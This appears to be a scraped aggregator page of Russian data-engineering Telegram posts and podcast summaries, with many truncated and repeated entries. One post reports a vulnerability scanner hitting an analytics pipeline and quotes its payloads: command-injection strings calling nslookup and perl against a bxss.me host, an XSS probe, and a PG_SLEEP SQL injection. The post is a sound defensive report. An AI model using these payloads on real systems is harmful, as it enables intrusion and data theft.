21 ноября (понедельник) в 20:00 проведу вебинар:🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀Вы узнаете:🔹 Каким образом собирать события организации из Github (Webhook, Airbyte)🔹 С помощью чего осуществить парсинг, трансформации, с
21 ноября (понедельник) в 20:00 проведу вебинар:🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀Вы узнаете:🔹 Каким образом собирать события организации из Github (Webhook, Airbyte)🔹 С помощью чего осуществить парсинг, трансформации, с

21 ноября (понедельник) в 20:00 проведу вебинар:🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀Вы узнаете:🔹 Каким образом собирать события организации из Github (Webhook, Airbyte)🔹 С помощью чего осуществить парсинг, трансформации, сборку витрин данных (dbt)🔹 Как приготовить метрики: PR Rate, Time to Review / Merge (Looker)Кому подходит:🔹 Начинающим и продолжающим специалистам в области Аналитики данных, Data Engineering🔹 Тем, кто интересуется современными подходами организации Хранилищ Данных🔹 Руководителям команд разработки, менеджерам и даже CTO Результаты:🔹 Познакомитесь с современными инструментами организации DWH🔹 Поймете, как устроены процессы разработки ПО в с…

2 months, 2 weeks назад @ t.me
Databricks - пока понятно то, что ничего непонятноПробую Databricks– Установка в свой аккаунт AWS, сделать может только администратор (это не я) - ОК– Развертывание в Cloud Formation Stack в пару кликов, вроде удобно. Однако очень сложно понять, что происх
Databricks - пока понятно то, что ничего непонятноПробую Databricks– Установка в свой аккаунт AWS, сделать может только администратор (это не я) - ОК– Развертывание в Cloud Formation Stack в пару кликов, вроде удобно. Однако очень сложно понять, что происх

Databricks - пока понятно то, что ничего непонятноПробую Databricks– Установка в свой аккаунт AWS, сделать может только администратор (это не я) - ОК– Развертывание в Cloud Formation Stack в пару кликов, вроде удобно. Однако очень сложно понять, что происходит и зачем: S3, IAM, Lambda, CopyZips(??)– Сразу поднялись 3 жирных EC2 Instances i3.xlarge (зачем??), явным образом меня об этом не спросили, это не было очевидно– Очень много текста в документации, но хочется поглотить всёКто пользуется Databricks?Какие самые главные советы можете дать?

2 months, 2 weeks назад @ t.me
Важнейшие критерии при выборе Extract – Load решения для интеграции данных в DWHВ публикации резюмирую свои знания:— Каталог поддерживаемых источников и приемников данных.— Метод чтения данных из источников (Extract).— Способы репликации в целевое Хранилищ
Важнейшие критерии при выборе Extract – Load решения для интеграции данных в DWHВ публикации резюмирую свои знания:— Каталог поддерживаемых источников и приемников данных.— Метод чтения данных из источников (Extract).— Способы репликации в целевое Хранилищ

Важнейшие критерии при выборе Extract – Load решения для интеграции данных в DWHВ публикации резюмирую свои знания:— Каталог поддерживаемых источников и приемников данных.— Метод чтения данных из источников (Extract).— Способы репликации в целевое Хранилище (Load).— Работа с изменениями структуры данных (Schema Evolution).— Трансформации перед загрузкой данных (EtLT).— Тип развертывания решения (Deployment).Буду объяснять и показывать примеры на сервисах, которые использовал сам: Hevo Data, Fivetran, Airbyte. Однако критерии универсальны и применимы для любых других систем подобного класса.Читать на Хабр →#Pipelines #ELT

2 months, 3 weeks назад @ t.me
Новая публикация на Хабр ⬇️⬇️⬇️
Новая публикация на Хабр ⬇️⬇️⬇️

Новая публикация на Хабр ⬇️⬇️⬇️

2 months, 3 weeks назад @ t.me
26 октября (среда) в 20:00 проведу вебинар: Работа с ГЕО-данными в DWH: координаты, зоны, агрегация – Привязка событий к зонам на карте города – Агрегирование и аналитика данных с помощью H3 (гексагоны) – Оптмизация расчетов и производительности, кэширов
26 октября (среда) в 20:00 проведу вебинар: Работа с ГЕО-данными в DWH: координаты, зоны, агрегация – Привязка событий к зонам на карте города – Агрегирование и аналитика данных с помощью H3 (гексагоны) – Оптмизация расчетов и производительности, кэширов

26 октября (среда) в 20:00 проведу вебинар: Работа с ГЕО-данными в DWH: координаты, зоны, агрегация – Привязка событий к зонам на карте города – Агрегирование и аналитика данных с помощью H3 (гексагоны) – Оптмизация расчетов и производительности, кэширование…

3 months, 1 week назад @ t.me
26 октября (среда) в 20:00 проведу вебинар:Работа с ГЕО-данными в DWH: координаты, зоны, агрегация– Привязка событий к зонам на карте города– Агрегирование и аналитика данных с помощью H3 (гексагоны)– Оптмизация расчетов и производительности, кэшированиеРа
26 октября (среда) в 20:00 проведу вебинар:Работа с ГЕО-данными в DWH: координаты, зоны, агрегация– Привязка событий к зонам на карте города– Агрегирование и аналитика данных с помощью H3 (гексагоны)– Оптмизация расчетов и производительности, кэшированиеРа

26 октября (среда) в 20:00 проведу вебинар:Работа с ГЕО-данными в DWH: координаты, зоны, агрегация– Привязка событий к зонам на карте города– Агрегирование и аналитика данных с помощью H3 (гексагоны)– Оптмизация расчетов и производительности, кэшированиеРасскажу подробно, как это устроено в проекте Wheely, над которым я работаю.Как и зачем индексировать данные (например, с использованием библиотеки H3 от Uber).Выполнение гео-операций, проверка вхождения точки в конкретные зоны (аэропорты, вокзалы, ТЦ, районы города).⬇️ Ссылка на YouTube-трансляцию будет в этом канале

3 months, 2 weeks назад @ t.me
Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift) – Requirements to E - L - T – Current setup description – Proof of Concept plan Desired business impact: – Cost effective (at least…
Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift) – Requirements to E - L - T – Current setup description – Proof of Concept plan Desired business impact: – Cost effective (at least…

Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift) – Requirements to E - L - T – Current setup description – Proof of Concept plan Desired business impact: – Cost effective (at least…

3 months, 2 weeks назад @ t.me
Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift)– Requirements to E - L - T– Current setup description– Proof of Concept planDesired business impact:– Cost effective (at least compared t
Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift)– Requirements to E - L - T– Current setup description– Proof of Concept planDesired business impact:– Cost effective (at least compared t

Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift)– Requirements to E - L - T– Current setup description– Proof of Concept planDesired business impact:– Cost effective (at least compared to what we currently spend on AWS Redshift reserved flat rate)– Performance gains desired– Extended features support (H3, in-database ML, Advanced analytics, ...)– Access to ecosystem (docs, solutions, code examples, how-to guides)– Democratization of access to data and data-related services: built-in Notebook experience– No degradation (performance, outage, timeouts, job failures) in comparison with current state

3 months, 2 weeks назад @ t.me
Получил отказ"Немного деталей, которые повлияли на наше решение: То что вы применяете бест практики из разработки - это отлично, но для нашей конференции в докладе все же не хватает технического наполнения. Возможно, это потому что мы нацелины больше на ин
Получил отказ"Немного деталей, которые повлияли на наше решение: То что вы применяете бест практики из разработки - это отлично, но для нашей конференции в докладе все же не хватает технического наполнения. Возможно, это потому что мы нацелины больше на ин

Получил отказ"Немного деталей, которые повлияли на наше решение: То что вы применяете бест практики из разработки - это отлично, но для нашей конференции в докладе все же не хватает технического наполнения. Возможно, это потому что мы нацелины больше на инженеров, которые уже очень хорошо знакомы со системой контроля версий, CI/CD и вот это вот все. Нам кажется, что для нашей целевой аудитории доклад не будет иметь прикладной полезности."Технические детали это: "Я говорила про различные вариации b-tree в движках, как пример того, насколько глубокие технические подробности нам интересны"B-tree в аналитических СУБД и больших данных в 2022... Бугага 😂Есть идеи, на какой RU конфе готовы слушать…

4 months, 2 weeks назад @ t.me
Somebody is overwhelming our analytics trying to find security breaches. A brief infrastructure setup: we gather user events data in mobile apps (iOS, Android) and Web via Snowplow trackers, send it to Kafka queues, then land the data into DWH (Redshift) s
Somebody is overwhelming our analytics trying to find security breaches. A brief infrastructure setup: we gather user events data in mobile apps (iOS, Android) and Web via Snowplow trackers, send it to Kafka queues, then land the data into DWH (Redshift) s

Somebody is overwhelming our analytics trying to find security breaches. A brief infrastructure setup: we gather user events data in mobile apps (iOS, Android) and Web via Snowplow trackers, send it to Kafka queues, then land the data into DWH (Redshift) staging area.Looks like a vulnerability scanner is used. Take a look at the sample data:echo bvazvs$()\ igzdlg\nz^xyu||a #' &echo bvazvs$()\ igzdlg\nz^xyu||a #|" &echo bvazvs$()\ igzdlg\nz^xyu||a #bxss.me/t/xss.html?%00`(nslookup hitxbheyywgyq5e37d.bxss.me||perl -e "gethostbyname('hitxbheyywgyq5e37d.bxss.me')")`aUV52Y1o' OR 826=(SELECT 826 FROM PG_SLEEP(15))--^(#[email protected]#$)(()))******Despite basic checks are enforced (non-empty string, valid jso…

4 months, 2 weeks назад @ t.me
Ух, как же много материала, которым хочется поделиться.Не всё успеваю публиковать. Подал заявку на доклад на конфе SmartDataБудете ждать? 🤔
Ух, как же много материала, которым хочется поделиться.Не всё успеваю публиковать. Подал заявку на доклад на конфе SmartDataБудете ждать? 🤔 Ух, как же много материала, которым хочется поделиться.Не всё успеваю публиковать. Подал заявку на доклад на конфе SmartDataБудете ждать? 🤔

Ух, как же много материала, которым хочется поделиться.Не всё успеваю публиковать. Подал заявку на доклад на конфе SmartDataБудете ждать? 🤔

5 months, 2 weeks назад @ t.me
data будни data будни
последний пост 2 days, 17 hours назад
Netflix Chaos Monkeyчтобы достичь доступности в распределённых сервисах используют избыточность: несколько дисков в рейд-массиве вместо одного или несколько машин вместо одной.в идеале при выходе из строя одного элемента, система должна поддерживать дееспо
Netflix Chaos Monkeyчтобы достичь доступности в распределённых сервисах используют избыточность: несколько дисков в рейд-массиве вместо одного или несколько машин вместо одной.в идеале при выходе из строя одного элемента, система должна поддерживать дееспо

Netflix Chaos Monkeyчтобы достичь доступности в распределённых сервисах используют избыточность: несколько дисков в рейд-массиве вместо одного или несколько машин вместо одной.в идеале при выходе из строя одного элемента, система должна поддерживать дееспособность на определённом уровне. Если у нас 10 000 дисков, то по техническим допускам в среднем один диск должен выходить из строя каждый день.даже когда есть чёткие инструкции по восстановлению, только практика может отточить навык, а чтобы такая практика происходила регулярно, в Нетфликсе в инфру запускают МАРТЫШКУ ХАОСА (лайк за нейминг!).точнее даже целое стадо разноспециализированных мартышек: одна рандомно прибивает неоптимальной нас…

2 days, 17 hours назад @ t.me
Мета ДВХ: ДВХ для ДВХПосмотрел доклад Жени Ермакова двухлетней давности о том как они делали МетаДВХ в Яндекс Такси. Отдельное удовольствие сначала поработать годик внутри, а потом посмотреть такое вводное видео как пришли к такому решению.Суть доклада с
Мета ДВХ: ДВХ для ДВХПосмотрел доклад Жени Ермакова двухлетней давности о том как они делали МетаДВХ в Яндекс Такси. Отдельное удовольствие сначала поработать годик внутри, а потом посмотреть такое вводное видео как пришли к такому решению.Суть доклада с

Мета ДВХ: ДВХ для ДВХПосмотрел доклад Жени Ермакова двухлетней давности о том как они делали МетаДВХ в Яндекс Такси. Отдельное удовольствие сначала поработать годик внутри, а потом посмотреть такое вводное видео как пришли к такому решению.Суть доклада сводиться к тому, что логи использования ДВХ засунули в ДВХ как отдельный источник. Смоделировав опрятные модели, это позволило посчитать метрики и отслеживать насколько хорошо команды ДВХ справляются со своими задачами.Мы пользуемся такими отчётами, чтобы отслеживать использование новых объектов (не зря ли мы старались, добавляя их); а ещё поддерживаем счёт в нашей битве за пользователей с «теневым двх»: ключевая метрика здесь — соотношение …

4 days, 19 hours назад @ t.me
Необязательные код-ревью Интересный подход применяют в компании Raycast — они решили отказаться от обязательных код-ревью и коммитить сразу в дев ветку. Ежедневно автоматика собирает внутренний релиз из этой ветки, чтобы проявить возможные нестыковки. Пр
Необязательные код-ревью Интересный подход применяют в компании Raycast — они решили отказаться от обязательных код-ревью и коммитить сразу в дев ветку. Ежедневно автоматика собирает внутренний релиз из этой ветки, чтобы проявить возможные нестыковки. Пр

Необязательные код-ревью Интересный подход применяют в компании Raycast — они решили отказаться от обязательных код-ревью и коммитить сразу в дев ветку. Ежедневно автоматика собирает внутренний релиз из этой ветки, чтобы проявить возможные нестыковки. Приводят…

1 week, 4 days назад @ t.me
😱 ААА! Код-ревью Прошёл тут эпичный код-ревью: 20 комментов в самом пулл-реквесте и ещё 43 сообщения в соответствующем треде в Слаке. Было жёстко, но интересно! Всё началось как приключение на 20 минут: поправить в двух сущностях поля партиционирования и
😱 ААА! Код-ревью Прошёл тут эпичный код-ревью: 20 комментов в самом пулл-реквесте и ещё 43 сообщения в соответствующем треде в Слаке. Было жёстко, но интересно! Всё началось как приключение на 20 минут: поправить в двух сущностях поля партиционирования и

😱 ААА! Код-ревью Прошёл тут эпичный код-ревью: 20 комментов в самом пулл-реквесте и ещё 43 сообщения в соответствующем треде в Слаке. Было жёстко, но интересно! Всё началось как приключение на 20 минут: поправить в двух сущностях поля партиционирования и…

2 weeks, 2 days назад @ t.me
О развитии как разработчика баз данныхАлексей Махоткин известен среди меня тем, что продвигает фреймворк проектирования (?) Minimal Modeling. В посте Алексей рассуждает о развитии как разработчика баз данных. Интересно, что он не уходит в список необходимы
О развитии как разработчика баз данныхАлексей Махоткин известен среди меня тем, что продвигает фреймворк проектирования (?) Minimal Modeling. В посте Алексей рассуждает о развитии как разработчика баз данных. Интересно, что он не уходит в список необходимы

О развитии как разработчика баз данныхАлексей Махоткин известен среди меня тем, что продвигает фреймворк проектирования (?) Minimal Modeling. В посте Алексей рассуждает о развитии как разработчика баз данных. Интересно, что он не уходит в список необходимых утилит и фреймворков, а сосредотачивается на понимании бизнеса: ⁃ First, learn to speak the language of the business side. [..] also need to have a common language with stakeholders, such as data analysts and researchers, and especially with marketing [..] ⁃ Second, think about removing the organizational bottlenecks around data processes [..] ⁃ There are also some other activities that could help with reducing friction, such as establis…

3 weeks, 3 days назад @ t.me
Кто в прошлом году вёл себя плохо, тот в следующем будет писать SQL на кириллице 😈картинка из чатика Data Coffee
Кто в прошлом году вёл себя плохо, тот в следующем будет писать SQL на кириллице 😈картинка из чатика Data Coffee Кто в прошлом году вёл себя плохо, тот в следующем будет писать SQL на кириллице 😈картинка из чатика Data Coffee

Кто в прошлом году вёл себя плохо, тот в следующем будет писать SQL на кириллице 😈картинка из чатика Data Coffee

1 month назад @ t.me
«Бэкенд» бэкендаЕсть профессии, которые прямо можно оценить по вносимому вкладу — особенно ближе к сезону перфоманс ревью поднимаются вопросы тип «вот сколько Вася принёс денег компании?».Как ни старайся, DWH таким аршином не измеришь. Только если вешать «
«Бэкенд» бэкендаЕсть профессии, которые прямо можно оценить по вносимому вкладу — особенно ближе к сезону перфоманс ревью поднимаются вопросы тип «вот сколько Вася принёс денег компании?».Как ни старайся, DWH таким аршином не измеришь. Только если вешать «

«Бэкенд» бэкендаЕсть профессии, которые прямо можно оценить по вносимому вкладу — особенно ближе к сезону перфоманс ревью поднимаются вопросы тип «вот сколько Вася принёс денег компании?».Как ни старайся, DWH таким аршином не измеришь. Только если вешать «счётчик входящих» и высчитывать % от оклада у всех кто пользуется нашими сущностями.Получается, наша работа в другом — мы подносим патроны. Причём подносим патроны тем, кто сам подносит патроны. Мы в глубоком тылу. В чём же наша польза? Как её измерить?Один из вариантов ответов, который мне больше всего нравится, — мы повышаем стабильность и скорость общей работы. Мы поддерживаем документацию, чтобы менеджеры могли быстрее найти как поджой…

1 month, 1 week назад @ t.me
Каким-то образом удалось затесаться одним из гостей в подкаст Data Heroes от команды Николая Валиотти. Вчерашний джун попал в компанию матёрых сеньоров, хе-хе. Тем не менее постарался поделиться своими мыслями о работе инженером данных. Опытом делились Сем
Каким-то образом удалось затесаться одним из гостей в подкаст Data Heroes от команды Николая Валиотти. Вчерашний джун попал в компанию матёрых сеньоров, хе-хе. Тем не менее постарался поделиться своими мыслями о работе инженером данных. Опытом делились Сем

Каким-то образом удалось затесаться одним из гостей в подкаст Data Heroes от команды Николая Валиотти. Вчерашний джун попал в компанию матёрых сеньоров, хе-хе. Тем не менее постарался поделиться своими мыслями о работе инженером данных. Опытом делились Семён Осипов из Gett, Ксения Томак из Dodo Brands и Сергей Бойцов; их и приглашаю послушать, получилось разносторонне, у всех свой опыт и итоговые советы получились довольно уникальными. Ссылки где послушать в канале Left Join: https://t.me/leftjoin/841

1 month, 1 week назад @ t.me
про Data Contracts в подкасте dbtChad Sanderson из Convoy (heavy modern data staсk users 🥸) делится своим кейсом: занимаются бизнесом, который truly ML driven, т.е. эм-эль не просто где-то сбоку, а без него не было бы самого бизнеса.Начали работать, сначал
про Data Contracts в подкасте dbtChad Sanderson из Convoy (heavy modern data staсk users 🥸) делится своим кейсом: занимаются бизнесом, который truly ML driven, т.е. эм-эль не просто где-то сбоку, а без него не было бы самого бизнеса.Начали работать, сначал

про Data Contracts в подкасте dbtChad Sanderson из Convoy (heavy modern data staсk users 🥸) делится своим кейсом: занимаются бизнесом, который truly ML driven, т.е. эм-эль не просто где-то сбоку, а без него не было бы самого бизнеса.Начали работать, сначала всё шло хорошо, а потом начали появляться сообщения от коллег, что мол в колонках до 25% пропусков, где бизнесово их быть не должно — для обучения моделей приходится вычищать четверть датасета.И так из других отделов тоже, общий тренд такой, что «мы не доверяем данным». Так начали развивать Data Quality (и до сих пор в этом процессе).⌘⌘⌘ Ещё раз звучала аналогия, что датасеты (по крайне мере те которые «свои») — это как API. Подразумевае…

1 month, 2 weeks назад @ t.me
Год в ЯндексеТут в октябре случилась первая годовщина.Из этого времени: ⁃ посидеть полгода в другом офисе от всей команды >_> ⁃ три месяца поработать удалённо из другого города ⁃ зайти на экскурсию в три офиса Яндекса в Москве ⁃ проехать мимо трёх оф
Год в ЯндексеТут в октябре случилась первая годовщина.Из этого времени: ⁃ посидеть полгода в другом офисе от всей команды &gt;_&gt; ⁃ три месяца поработать удалённо из другого города ⁃ зайти на экскурсию в три офиса Яндекса в Москве ⁃ проехать мимо трёх оф Год в ЯндексеТут в октябре случилась первая годовщина.Из этого времени: ⁃ посидеть полгода в другом офисе от всей команды &gt;_&gt; ⁃ три месяца поработать удалённо из другого города ⁃ зайти на экскурсию в три офиса Яндекса в Москве ⁃ проехать мимо трёх оф

Год в ЯндексеТут в октябре случилась первая годовщина.Из этого времени: ⁃ посидеть полгода в другом офисе от всей команды >_> ⁃ три месяца поработать удалённо из другого города ⁃ зайти на экскурсию в три офиса Яндекса в Москве ⁃ проехать мимо трёх офисов в других городах (жаль, не сложилось зайти — но бейджик был наготове!) ⁃ пройти два перфоманс ревью (пока вроде не выгнали)Поначалу голова шла кругом от обилия внутренних инструментов, но вроде основные успел изучить (более-менее). Не устаю удивляться количеству умных людей вокруг. При этом каждый готов включиться и помочь, если вдруг будет нужно.Потихоньку обкладываюсь мерчем: супруга даже шутит, что Яндекс Музей — теперь мой любимый магаз…

1 month, 2 weeks назад @ t.me
Закрывая тему подкастов: оказывается, у Max Beauchemin (Бьюшемин?) тоже есть «свой» подкаст. Макс — автор Airflow и Superset, а подкаст они делают от имени Preset (платная версия их опенсорсного Superset).По ощущениям подкаст очень похож на подход опенсорс
Закрывая тему подкастов: оказывается, у Max Beauchemin (Бьюшемин?) тоже есть «свой» подкаст. Макс — автор Airflow и Superset, а подкаст они делают от имени Preset (платная версия их опенсорсного Superset).По ощущениям подкаст очень похож на подход опенсорс

Закрывая тему подкастов: оказывается, у Max Beauchemin (Бьюшемин?) тоже есть «свой» подкаст. Макс — автор Airflow и Superset, а подкаст они делают от имени Preset (платная версия их опенсорсного Superset).По ощущениям подкаст очень похож на подход опенсорса: сделай так, чтобы работало, а о фентифлюшках подумаем потом (или сделаем в платной версии, хе-хе): в подкасте присутствует шуршание проводов об одежду и стук клавиш на фоне.Сложно конспектировать, когда нет плана и чёткой темы; очень охоже на разговор на кухне у кулера.Если кто-то коллекционирует тематические подкасты, добавляйте к себе. А пока продолжаем наблюдение.https://podcasts.apple.com/us/podcast/the-analytics-everywhere-podcast/…

3 months, 1 week назад @ t.me
Ещё из новостей подкастов: у Самата Галимова вышли два интересных выпуска в подкасте «Запуск завтра»: 1. про российский StackOverflow — как студент сделал сайд-проект в универе, получилось хорошо и это стало основной работой. А потом продал его основателю
Ещё из новостей подкастов: у Самата Галимова вышли два интересных выпуска в подкасте «Запуск завтра»: 1. про российский StackOverflow — как студент сделал сайд-проект в универе, получилось хорошо и это стало основной работой. А потом продал его основателю

Ещё из новостей подкастов: у Самата Галимова вышли два интересных выпуска в подкасте «Запуск завтра»: 1. про российский StackOverflow — как студент сделал сайд-проект в универе, получилось хорошо и это стало основной работой. А потом продал его основателю «основного» StackOverflow — легендарному Джоелю Спольски. 2. про язык Kotlin, который был признан Google основным языком для разработки на Android. Как(и зачем!) в 2010 году в JetBrains захотели сделать свой язык программирования на замену стагнирующей в то время Java. И причём тут Андроид.Оба выпуска слушаются как аудио-книга — невероятная история с поворотами и техническими деталями. Тут вроде нечего конспектировать, надо слушать)

3 months, 1 week назад @ t.me
Очереди сообщенийВ подкасте Podlodka вышел выпуск про менеджеры очередей. Зашли с основных понятий и дальше по всем аспектам до антипаттернов проектирования. Рассказывал Владимир Перепелица, архитектор и продакт-менеджер из Tarantool.До сих пор не сталкив
Очереди сообщенийВ подкасте Podlodka вышел выпуск про менеджеры очередей. Зашли с основных понятий и дальше по всем аспектам до антипаттернов проектирования. Рассказывал Владимир Перепелица, архитектор и продакт-менеджер из Tarantool.До сих пор не сталкив

Очереди сообщенийВ подкасте Podlodka вышел выпуск про менеджеры очередей. Зашли с основных понятий и дальше по всем аспектам до антипаттернов проектирования. Рассказывал Владимир Перепелица, архитектор и продакт-менеджер из Tarantool.До сих пор не сталкивался ни с Kafka, ни RabbitMQ, поэтому мне было интересно послушать. Что-то из выпуска записал (как мог):Зачем оно нужно, почему не сделать напрямую: ⁃ декаплинг: источники и потребители данных не связаны напрямую, они ничего не знаю друг о друге, их может быть больше одного с каждой стороны; ⁃ снимает пиковую нагрузку когда потребитель временно недоступен.⌘В целом, чем-то похоже на базы данных: тоже запись и чтение. Иногда даже отдельные бд…

3 months, 1 week назад @ t.me
Выпуск Data Coffee про собеседованияТри лида́ обсуджают как они проводят собеседования для инженеров данных: ⁃ Сколько по времени должно быть собеседование — нормально ли заканчивать их досрочно, если по кандидату точно «да» или точно «нет». ⁃ Сколько вооб
Выпуск Data Coffee про собеседованияТри лида́ обсуджают как они проводят собеседования для инженеров данных: ⁃ Сколько по времени должно быть собеседование — нормально ли заканчивать их досрочно, если по кандидату точно «да» или точно «нет». ⁃ Сколько вооб

Выпуск Data Coffee про собеседованияТри лида́ обсуджают как они проводят собеседования для инженеров данных: ⁃ Сколько по времени должно быть собеседование — нормально ли заканчивать их досрочно, если по кандидату точно «да» или точно «нет». ⁃ Сколько вообще может быть этапов у процесса найма. ⁃ Чем отличаются задачи для джунов, мидлов и синьоров. С какого-то уровня помимо основных инструментов (SQL+Python/Scala) требуется понимать и общую архитектуру (и альтернативные варианты с их плюсами и минусами). ⁃ Зачем сотруднику присоединятся к клубу собеседующих — прокачивает техническую насмотренность и помогает точнее сориентировать свой уровень относительно других. ⁃ И отдельно про навык прогов…

3 months, 2 weeks назад @ t.me
🥸 короткий и дельный совет от Игоря Мосягина — добавлять эмоджи в отладочные логи, чтобы было заметнее это из доклада на конференции SmartData — там сегодня community day, можно посмотреть доклады бесплатно 👀
🥸 короткий и дельный совет от Игоря Мосягина — добавлять эмоджи в отладочные логи, чтобы было заметнее это из доклада на конференции SmartData — там сегодня community day, можно посмотреть доклады бесплатно 👀 🥸 короткий и дельный совет от Игоря Мосягина — добавлять эмоджи в отладочные логи, чтобы было заметнее это из доклада на конференции SmartData — там сегодня community day, можно посмотреть доклады бесплатно 👀

🥸 короткий и дельный совет от Игоря Мосягина — добавлять эмоджи в отладочные логи, чтобы было заметнее это из доклада на конференции SmartData — там сегодня community day, можно посмотреть доклады бесплатно 👀

3 months, 2 weeks назад @ t.me
под капотом Яндекс.Такси под капотом Яндекс.Такси
последний пост None
🎧 Podcasts
Data Engineering Podcast Data Engineering Podcast
последний пост 6 days, 8 hours назад
Let Your Business Intelligence Platform Build The Models Automatically With Omni Analytics
Let Your Business Intelligence Platform Build The Models Automatically With Omni Analytics

Summary

Business intelligence has gone through many generational shifts, but each generation has largely maintained the same workflow. Data analysts create reports that are used by the business to understand and direct the business, but the process is very labor and time intensive. The team at Omni have taken a new approach by automatically building models based on the queries that are executed. In this episode Chris Merrick shares how they manage integration and automation around the modeling layer and how it improves the organizational experience of business intelligence.

Announcements

Hello and welcome to the Data Engineering Podcast, the show about modern data management

Truly leveragin…

6 days, 8 hours назад @ dataengineeringpodcast.com
Safely Test Your Applications And Analytics With Production Quality Data Using Tonic AI
Safely Test Your Applications And Analytics With Production Quality Data Using Tonic AI

Summary

The most interesting and challenging bugs always happen in production, but recreating them is a constant challenge due to differences in the data that you are working with. Building your own scripts to replicate data from production is time consuming and error-prone. Tonic is a platform designed to solve the problem of having reliable, production-like data available for developing and testing your software, analytics, and machine learning projects. In this episode Adam Kamor explores the factors that make this such a complex problem to solve, the approach that he and his team have taken to turn it into a reliable product, and how you can start using it to replace your own collection…

1 week, 6 days назад @ dataengineeringpodcast.com
Building Applications With Data As Code On The DataOS
Building Applications With Data As Code On The DataOS

Summary

The modern data stack has made it more economical to use enterprise grade technologies to power analytics at organizations of every scale. Unfortunately it has also introduced new overhead to manage the full experience as a single workflow. At the Modern Data Company they created the DataOS platform as a means of driving your full analytics lifecycle through code, while providing automatic knowledge graphs and data discovery. In this episode Srujan Akula explains how the system is implemented and how you can start using it today with your existing data systems.

Announcements

Hello and welcome to the Data Engineering Podcast, the show about modern data management

Truly leveraging and…

2 weeks, 6 days назад @ dataengineeringpodcast.com
Automate Your Pipeline Creation For Streaming Data Transformations With SQLake
Automate Your Pipeline Creation For Streaming Data Transformations With SQLake

Summary

Managing end-to-end data flows becomes complex and unwieldy as the scale of data and its variety of applications in an organization grows. Part of this complexity is due to the transformation and orchestration of data living in disparate systems. The team at Upsolver is taking aim at this problem with the latest iteration of their platform in the form of SQLake. In this episode Ori Rafael explains how they are automating the creation and scheduling of orchestration flows and their related transforations in a unified SQL interface.

Announcements

Hello and welcome to the Data Engineering Podcast, the show about modern data management

Data and analytics leaders, 2023 is your year to sh…

3 weeks, 6 days назад @ dataengineeringpodcast.com
Increase Your Odds Of Success For Analytics And AI Through More Effective Knowledge Management With AlignAI
Increase Your Odds Of Success For Analytics And AI Through More Effective Knowledge Management With AlignAI

Summary

Making effective use of data requires proper context around the information that is being used. As the size and complexity of your organization increases the difficulty of ensuring that everyone has the necessary knowledge about how to get their work done scales exponentially. Wikis and intranets are a common way to attempt to solve this problem, but they are frequently ineffective. Rehgan Avon co-founded AlignAI to help address this challenge through a more purposeful platform designed to collect and distribute the knowledge of how and why data is used in a business. In this episode she shares the strategic and tactical elements of how to make more effective use of the technical an…

1 month, 1 week назад @ dataengineeringpodcast.com
Using Product Driven Development To Improve The Productivity And Effectiveness Of Your Data Teams
Using Product Driven Development To Improve The Productivity And Effectiveness Of Your Data Teams

Summary

With all of the messaging about treating data as a product it is becoming difficult to know what that even means. Vishal Singh is the head of products at Starburst which means that he has to spend all of his time thinking and talking about the details of product thinking and its application to data. In this episode he shares his thoughts on the strategic and tactical elements of moving your work as a data professional from being task-oriented to being product-oriented and the long term improvements in your productivity that it provides.

Announcements

Hello and welcome to the Data Engineering Podcast, the show about modern data management

When you're ready to build your next pipeline…

1 month, 1 week назад @ dataengineeringpodcast.com
Simple And Scalable Encryption Of Data In Use For Analytics And Machine Learning With Opaque Systems
Simple And Scalable Encryption Of Data In Use For Analytics And Machine Learning With Opaque Systems

Summary

Encryption and security are critical elements in data analytics and machine learning applications. We have well developed protocols and practices around data that is at rest and in motion, but security around data in use is still severely lacking. Recognizing this shortcoming and the capabilities that could be unlocked by a robust solution Rishabh Poddar helped to create Opaque Systems as an outgrowth of his PhD studies. In this episode he shares the work that he and his team have done to simplify integration of secure enclaves and trusted computing environments into analytical workflows and how you can start using it without re-engineering your existing systems.

Announcements

Hello…

1 month, 1 week назад @ dataengineeringpodcast.com
An Exploration Of Tobias' Experience In Building A Data Lakehouse From Scratch
An Exploration Of Tobias' Experience In Building A Data Lakehouse From Scratch

Summary

Five years of hosting the Data Engineering Podcast has provided Tobias Macey with a wealth of insight into the work of building and operating data systems at a variety of scales and for myriad purposes. In order to condense that acquired knowledge into a format that is useful to everyone Scott Hirleman turns the tables in this episode and asks Tobias about the tactical and strategic aspects of his experiences applying those lessons to the work of building a data platform from scratch.

Announcements

Hello and welcome to the Data Engineering Podcast, the show about modern data management

When you're ready to build your next pipeline, or want to test out the projects you hear about on …

1 month, 1 week назад @ dataengineeringpodcast.com
Revisit The Fundamental Principles Of Working With Data To Avoid Getting Caught In The Hype Cycle
Revisit The Fundamental Principles Of Working With Data To Avoid Getting Caught In The Hype Cycle

Summary

The data ecosystem has seen a constant flurry of activity for the past several years, and it shows no signs of slowing down. With all of the products, techniques, and buzzwords being discussed it can be easy to be overcome by the hype. In this episode Juan Sequeda and Tim Gasper from data.world share their views on the core principles that you can use to ground your work and avoid getting caught in the hype cycles.

Announcements

Hello and welcome to the Data Engineering Podcast, the show about modern data management

When you're ready to build your next pipeline, or want to test out the projects you hear about on the show, you'll need somewhere to deploy it, so check out our friends …

1 month, 2 weeks назад @ dataengineeringpodcast.com
Making Sense Of The Technical And Organizational Considerations Of Data Contracts
Making Sense Of The Technical And Organizational Considerations Of Data Contracts

Summary

One of the reasons that data work is so challenging is because no single person or team owns the entire process. This introduces friction in the process of collecting, processing, and using data. In order to reduce the potential for broken pipelines some teams have started to adopt the idea of data contracts. In this episode Abe Gong brings his experiences with the Great Expectations project and community to discuss the technical and organizational considerations involved in implementing these constraints to your data workflows.

Announcements

Hello and welcome to the Data Engineering Podcast, the show about modern data management

When you're ready to build your next pipeline, or wan…

1 month, 2 weeks назад @ dataengineeringpodcast.com
Convert Your Unstructured Data To Embedding Vectors For More Efficient Machine Learning With Towhee
Convert Your Unstructured Data To Embedding Vectors For More Efficient Machine Learning With Towhee Convert Your Unstructured Data To Embedding Vectors For More Efficient Machine Learning With Towhee

Preamble

